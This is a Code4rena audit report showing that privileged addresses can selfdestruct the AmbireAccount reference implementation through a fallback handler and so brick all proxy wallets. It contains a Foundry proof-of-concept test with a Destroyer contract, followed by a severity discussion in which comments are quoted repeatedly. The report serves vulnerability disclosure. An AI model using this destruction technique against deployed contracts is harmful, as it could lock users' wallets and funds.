AmbireAccount implementation can be destroyed by privileges

[code423n4]

Lines of code

https://github.com/AmbireTech/ambire-common/blob/5c54f8005e90ad481df8e34e85718f3d2bfa2ace/contracts/AmbireAccount.sol#L58-L65

Vulnerability details

AmbireAccount implementation can be destroyed by privileges

The AmbireAccount implementation can be destroyed, resulting in the bricking of all associated wallets.

Impact

The AmbireAccount contract has a constructor that setups privileges, these are essentially addresses that have control over the wallet.

https://github.com/AmbireTech/ambire-common/blob/5c54f8005e90ad481df8e34e85718f3d2bfa2ace/contracts/AmbireAccount.sol#L58-L65

58: 	constructor(address[] memory addrs) {
59: 		uint256 len = addrs.length;
60: 		for (uint256 i = 0; i < len; i++) {
61: 			// NOTE: privileges[] can be set to any arbitrary value, but for this we SSTORE directly through the proxy creator
62: 			privileges[addrs[i]] = bytes32(uint(1));
63: 			emit LogPrivilegeChanged(addrs[i], bytes32(uint(1)));
64: 		}
65: 	}

Normally this constructor is not really used, as wallets are deployed using proxies. The proxy constructor is the actual piece of code that setups the privileges storage to grant initial permission to the owner of the wallet.

However these proxies need to rely on a reference implementation of the AmbireAccount contract. A single contract is deployed and its address is then injected into the proxy code.

The main issue is that privileges defined in the reference implementation have control over that instance, and could eventually force a destruction of the contract using a fallback handler with a selfdestruct instruction (see PoC for a detailed explanation). This destruction of the implementation would render all wallets non-functional, as the proxies won't have any underlying logic code. Consequently, wallets would become inaccessible, resulting in potential loss of funds.

It is not clear the purpose of this constructor in the AmbireAccount contract. It may be present to facilitate testing. This issue can be triggered by a malicious deployer (or any of the defined privileges) or by simply setting up a wrong privilege accidentally. Nevertheless, its presence imposes a big and unneeded security risk, as the destruction of the reference implementation can render all wallets useless and inaccessible.

Proof of Concept

The following test reproduces the described issue. A deployer account deploys the implementation of the AmbireAccount contract that is later used by the user account to create a proxy (AccountProxy contract) over the implementation. The deployer then forces the destruction of the reference implementation using a fallback handler (Destroyer contract). The user's wallet is now inaccessible as there is no code behind the proxy.

The majority of the test is implemented in the setUp() function in order to properly test the destruction of the contract (in Foundry contracts are deleted when the test is finalized).

Note: the snippet shows only the relevant code for the test. Full test file can be found here.

contract Destroyer {
    function destruct() external {
        selfdestruct(payable(address(0)));
    }
}

contract AccountProxy is ERC1967Proxy {
    // Simulate privileges storage
    mapping(address => bytes32) public privileges;

    constructor(address[] memory addrs, address _logic) ERC1967Proxy(_logic, "") {
		uint256 len = addrs.length;
		for (uint256 i = 0; i < len; i++) {
			// NOTE: privileges[] can be set to any arbitrary value, but for this we SSTORE directly through the proxy creator
			privileges[addrs[i]] = bytes32(uint(1));
		}
	}
}

contract AuditDestructTest is Test {
    AmbireAccount implementation;
    AmbireAccount wallet;

    function setUp() public {
        // Master account implementation can be destroyed by any of the configured privileges
        address deployer = makeAddr("deployer");
        address user = makeAddr("user");

        // Lets say deployer creates reference implementation
        address[] memory addrsImpl = new address[](1);
        addrsImpl[0] = deployer;
        implementation = new AmbireAccount(addrsImpl);

        // User deploys wallet
        address[] memory addrsWallet = new address[](1);
        addrsWallet[0] = user;
        wallet = AmbireAccount(payable(
            new AccountProxy(addrsWallet, address(implementation))
        ));

        // Test the wallet is working ok
        assertTrue(wallet.supportsInterface(0x4e2312e0));

        // Now privilege sets fallback
        Destroyer destroyer = new Destroyer();
        AmbireAccount.Transaction[] memory txns = new AmbireAccount.Transaction[](1);
        txns[0].to = address(implementation);
        txns[0].value = 0;
        txns[0].data = abi.encodeWithSelector(
            AmbireAccount.setAddrPrivilege.selector,
            address(0x6969),
            bytes32(uint256(uint160(address(destroyer))))
        );
        vm.prank(deployer);
        implementation.executeBySender(txns);

        // and destroys master implementation
        Destroyer(address(implementation)).destruct();
    }

    function test_AmbireAccount_DestroyImplementation() public {
        // Assert implementation has been destroyed
        assertEq(address(implementation).code.length, 0);

        // Now every wallet (proxy) that points to this master implementation will be bricked
        wallet.supportsInterface(0x4e2312e0);
    }
}

Recommendation

Remove the constructor from the AmbireAccount contract.

Assessed type

Other

[Picodes]

On first reading, I'm confused because there is a constructor but no initializer, so I don't get how a wallet could be deployed behind a minimal proxy: how do you set the first privilege addresses?

So it seems that either the constructor needs to be changed to an initializer, or the intent is to deploy the whole bytecode for every wallet

[Ivshti]

@Picodes we use a completely different mechanism in which we geenerate bytecode which directly SSTORES the relevant privileges slots: https://github.com/AmbireTech/adex-protocol-eth/blob/master/js/IdentityProxyDeploy.js

We absolutely disagree with using an initializer, it is leaving too much room for error as it can be seen from the two Parity exploits.

That said, this finding is valid and removing the constructor is one solution, another is just ensuring we deploy the implementation with no privileges. Wyt?

[Ivshti]

@Picodes we are in the process of fixing this by removing the constructor.

I would say this finding is excellent but I am considering whether the severity should be degraded, as once the implementation is deployed with empty privileges, this issue doesn't exist. You can argue that this creates sort of a "trusted setup", where someone needs to watch what we're deploying, but this is a fundamental effect anyway, as someone needs to watch whether we're deploying the right code. The way we'll mitigate this in the future when we're deploying is by pre-signing deployment transactions with different gas prices and different networks and placing them on github for people to review or even broadcast themselves.

[Ivshti]

@Picodes we decided to remove the constructor because it just makes things more obvious (that in production privileges are not set via the constructor)

but with that said, I just remembered that this vulnerability is mitigated by the fact the implementation will be deployed via CREATE2 and can be re-deployed

[Picodes]

So:

• this is in the end a trust issue and the report shows how the team could have used the constructor to grief users
• the fact that the implementation is deployed via CREATE2 doesn't change the severity as the team could still be malicious. If anything it makes it even worse because it creates a scenario where the team could blackmail users to get paid for the redeployment

Overall, considering that there shouldn't be any trust assumption in this repository, I think Medium severity is appropriate, under "the function of the protocol or its availability could be impacted, or leak value with a hypothetical attack path with stated assumptions, but external requirements".

[c4-judge]

Picodes marked the issue as satisfactory

[Ivshti]

So:

* this is in the end a trust issue and the report shows how the team could have used the constructor to grief users

* the fact that the implementation is deployed via CREATE2 doesn't change the severity as the team could still be malicious. If anything it makes it even worse because it creates a scenario where the team could blackmail users to get paid for the redeployment

Overall, considering that there shouldn't be any trust assumption in this repository, I think Medium severity is appropriate, under "the function of the protocol or its availability could be impacted, or leak value with a hypothetical attack path with stated assumptions, but external requirements".

I'm not sure I agree with this: anyone can use CREATE2 on the factory to deploy the contract, so the team cannot extort anyone for anything

[Picodes]

So:

* this is in the end a trust issue and the report shows how the team could have used the constructor to grief users

* the fact that the implementation is deployed via CREATE2 doesn't change the severity as the team could still be malicious. If anything it makes it even worse because it creates a scenario where the team could blackmail users to get paid for the redeployment

Overall, considering that there shouldn't be any trust assumption in this repository, I think Medium severity is appropriate, under "the function of the protocol or its availability could be impacted, or leak value with a hypothetical attack path with stated assumptions, but external requirements".

I'm not sure I agree with this: anyone can use CREATE2 on the factory to deploy the contract, so the team cannot extort anyone for anything

Ah right I don't know why I had in mind a permissioned factory

[Ivshti]

So:

* this is in the end a trust issue and the report shows how the team could have used the constructor to grief users

* the fact that the implementation is deployed via CREATE2 doesn't change the severity as the team could still be malicious. If anything it makes it even worse because it creates a scenario where the team could blackmail users to get paid for the redeployment

Overall, considering that there shouldn't be any trust assumption in this repository, I think Medium severity is appropriate, under "the function of the protocol or its availability could be impacted, or leak value with a hypothetical attack path with stated assumptions, but external requirements".

I'm not sure I agree with this: anyone can use CREATE2 on the factory to deploy the contract, so the team cannot extort anyone for anything

Ah right I don't know why I had in mind a permissioned factory

In that light, I think this can be downgraded. But we took the recommendation and removed the constructor in the v2 branch, also to avoid confusion

[romeroadrian]

So:

* this is in the end a trust issue and the report shows how the team could have used the constructor to grief users

* the fact that the implementation is deployed via CREATE2 doesn't change the severity as the team could still be malicious. If anything it makes it even worse because it creates a scenario where the team could blackmail users to get paid for the redeployment

Overall, considering that there shouldn't be any trust assumption in this repository, I think Medium severity is appropriate, under "the function of the protocol or its availability could be impacted, or leak value with a hypothetical attack path with stated assumptions, but external requirements".

I'm not sure I agree with this: anyone can use CREATE2 on the factory to deploy the contract, so the team cannot extort anyone for anything

Ah right I don't know why I had in mind a permissioned factory

In that light, I think this can be downgraded. But we took the recommendation and removed the constructor in the v2 branch, also to avoid confusion

But in that case the issue would be present again, and the same could happen if you redeploy it. I think the severity is well justified given the potential consequences.

[Picodes]

Keeping Medium severity for this one for the arguments above (even if the team intended to deploy through the factory they could do differently) and because of the security model of the wallet which is very strict as it assumes no privileged role